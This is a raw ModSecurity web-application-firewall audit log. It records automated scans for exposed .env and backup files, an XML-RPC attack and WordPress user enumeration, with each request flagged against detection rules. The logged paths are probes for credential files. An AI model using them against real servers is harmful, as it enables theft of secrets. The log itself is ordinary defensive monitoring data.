X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --97f21031-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca16501615d2b83a9ddf0141dc656cae1750022471; expires=Sun, 15 Jun 2025 22:21:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --97f21031-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/wp-content/.env"] [unique_id "aE85RiHEjD4mqWjYVm17TAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022470706128 668770 (- - -) Stopwatch2: 1750022470706128 668770; combined=2159, p1=401, p2=1656, p3=0, p4=0, p5=101, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97f21031-Z-- --2e736a3f-A-- [16/Jun/2025:02:51:17.231341 +0530] aE85TMSAI-lmnIgQu6D3_gAAAAc 185.177.72.210 46220 127.0.0.1 7081 --2e736a3f-B-- GET /:8443/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e736a3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=48786447121647437a336d22b09da0d51750022477; expires=Sun, 15 Jun 2025 22:21:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e736a3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/crm/.env"] [unique_id "aE85TMSAI-lmnIgQu6D3_gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022476467011 764396 (- - -) Stopwatch2: 1750022476467011 764396; combined=2117, p1=454, p2=1566, p3=0, p4=0, p5=96, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e736a3f-Z-- --8412671b-A-- [16/Jun/2025:02:51:19.223603 +0530] aE85TiHEjD4mqWjYVm17TwAAABM 185.177.72.210 46294 127.0.0.1 7081 --8412671b-B-- GET /.envrc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8412671b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d71004e0c7a2f5af0c4f467d1d98eab91750022479; expires=Sun, 15 Jun 2025 22:21:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8412671b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.envrc"] [unique_id "aE85TiHEjD4mqWjYVm17TwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022478578846 644818 (- - -) Stopwatch2: 1750022478578846 644818; combined=2386, p1=405, p2=1867, p3=0, p4=0, p5=114, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8412671b-Z-- --e1c19d3d-A-- [16/Jun/2025:02:51:23.159041 +0530] aE85Uol8S04UZ4l67-ncJwAAAAk 185.177.72.210 47930 127.0.0.1 7081 --e1c19d3d-B-- GET /:9000/.env.ci HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e1c19d3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aa25414791d680fd47e64a497affd22e1750022483; expires=Sun, 15 Jun 2025 22:21:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e1c19d3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.ci"] [unique_id "aE85Uol8S04UZ4l67-ncJwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022482511722 647394 (- - -) Stopwatch2: 1750022482511722 647394; combined=1885, p1=399, p2=1375, p3=0, p4=0, p5=110, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1c19d3d-Z-- --46fe437d-A-- [16/Jun/2025:02:51:25.166710 +0530] aE85VOCiZPLeFRlDAYwbJQAAAAU 185.177.72.210 48006 127.0.0.1 7081 --46fe437d-B-- GET /Makefile.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --46fe437d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c0101c31407cb5b4feb3c07221a2bbd31750022485; expires=Sun, 15 Jun 2025 22:21:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --46fe437d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Makefile.old"] [unique_id "aE85VOCiZPLeFRlDAYwbJQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022484493349 673423 (- - -) Stopwatch2: 1750022484493349 673423; combined=1929, p1=324, p2=1503, p3=0, p4=0, p5=101, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --46fe437d-Z-- --42c29623-A-- [16/Jun/2025:02:51:28.969447 +0530] aE85WGBSQiWwwCa-v2QGDQAAAAQ 185.177.72.210 48624 127.0.0.1 7081 --42c29623-B-- GET /laravel/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42c29623-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=15d0452f04dba4d9e13228995c149d451750022488; expires=Sun, 15 Jun 2025 22:21:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42c29623-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/laravel/.env.local"] [unique_id "aE85WGBSQiWwwCa-v2QGDQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022488303353 666157 (- - -) Stopwatch2: 1750022488303353 666157; combined=1774, p1=377, p2=1301, p3=0, p4=0, p5=96, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42c29623-Z-- --dd011c21-A-- [16/Jun/2025:02:51:39.979221 +0530] aE85Y1fWRcme38U-qk7rzAAAAAI 185.177.72.210 40198 127.0.0.1 7081 --dd011c21-B-- GET /src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dd011c21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6226287df2ca6960ec9cb75766f00bf11750022499; expires=Sun, 15 Jun 2025 22:21:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dd011c21-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/main/resources/archetype-resources/__rootArtifactId__-acceptance-test/src/test/resources/app-launcher-tile/.env"] [unique_id "aE85Y1fWRcme38U-qk7rzAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022499341637 637652 (- - -) Stopwatch2: 1750022499341637 637652; combined=1756, p1=371, p2=1289, p3=0, p4=0, p5=95, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd011c21-Z-- --eb3e6d0c-A-- [16/Jun/2025:02:51:46.324987 +0530] aE85aSHEjD4mqWjYVm17YwAAABM 185.177.72.210 40450 127.0.0.1 7081 --eb3e6d0c-B-- GET /.vscode/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb3e6d0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=336fea1803119e27b554da15485c74541750022506; expires=Sun, 15 Jun 2025 22:21:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb3e6d0c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.vscode/.env"] [unique_id "aE85aSHEjD4mqWjYVm17YwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022505670116 654941 (- - -) Stopwatch2: 1750022505670116 654941; combined=2539, p1=506, p2=1938, p3=0, p4=0, p5=95, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb3e6d0c-Z-- --1e434e67-A-- [16/Jun/2025:02:51:49.410434 +0530] aE85bGBSQiWwwCa-v2QGGAAAAAQ 185.177.72.210 40626 127.0.0.1 7081 --1e434e67-B-- GET /scripts/fvt/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e434e67-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b1c47dd65d2276fcbfe5b5a6ad1fe781750022509; expires=Sun, 15 Jun 2025 22:21:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e434e67-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/scripts/fvt/.env"] [unique_id "aE85bGBSQiWwwCa-v2QGGAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022508743048 667470 (- - -) Stopwatch2: 1750022508743048 667470; combined=1888, p1=369, p2=1409, p3=0, p4=0, p5=110, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e434e67-Z-- --969a0d62-A-- [16/Jun/2025:02:51:51.948690 +0530] aE85b3wizUED0-SK4eRLLQAAAAE 128.199.112.101 60816 127.0.0.1 7081 --969a0d62-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --969a0d62-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --969a0d62-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE85b3wizUED0-SK4eRLLQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022511003774 944978 (- - -) Stopwatch2: 1750022511003774 944978; combined=2338, p1=350, p2=1500, p3=43, p4=99, p5=210, sr=91, sw=136, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --969a0d62-Z-- --2620e101-A-- [16/Jun/2025:02:52:05.772088 +0530] aE85fcSAI-lmnIgQu6D4HgAAAAc 185.177.72.210 58568 127.0.0.1 7081 --2620e101-B-- GET /backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2620e101-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=62c1e6b5ac12db5b6009500dba4b6f251750022525; expires=Sun, 15 Jun 2025 22:22:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2620e101-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backend/.env"] [unique_id "aE85fcSAI-lmnIgQu6D4HgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022525081105 691047 (- - -) Stopwatch2: 1750022525081105 691047; combined=1912, p1=374, p2=1444, p3=0, p4=0, p5=93, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2620e101-Z-- --0b13a61a-A-- [16/Jun/2025:02:52:14.581731 +0530] aE85hdafa9gds5d-5EIsRAAAAAM 185.177.72.210 60110 127.0.0.1 7081 --0b13a61a-B-- GET /:8080/.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b13a61a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e7d51bcce9f49dea76e0730c2720deee1750022534; expires=Sun, 15 Jun 2025 22:22:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b13a61a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.suspected"] [unique_id "aE85hdafa9gds5d-5EIsRAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022533907440 674366 (- - -) Stopwatch2: 1750022533907440 674366; combined=1712, p1=370, p2=1245, p3=0, p4=0, p5=97, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b13a61a-Z-- --055bcc51-A-- [16/Jun/2025:02:52:21.928825 +0530] aE85jSHEjD4mqWjYVm17dwAAABM 64.23.239.231 45870 127.0.0.1 7081 --055bcc51-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.3econcepts.com X-Real-IP: 64.23.239.231 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 --055bcc51-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.3econcepts.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --055bcc51-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.3econcepts.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE85jSHEjD4mqWjYVm17dwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022541153213 775721 (- - -) Stopwatch2: 1750022541153213 775721; combined=2003, p1=356, p2=1547, p3=0, p4=0, p5=100, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --055bcc51-Z-- --c6c24a30-A-- [16/Jun/2025:02:52:21.975236 +0530] aE85jdafa9gds5d-5EIsSAAAAAM 185.177.72.210 45876 127.0.0.1 7081 --c6c24a30-B-- GET /:10000/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c6c24a30-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a1aa300f9ff3f4ad13d749afd8cbf0da1750022541; expires=Sun, 15 Jun 2025 22:22:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c6c24a30-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] 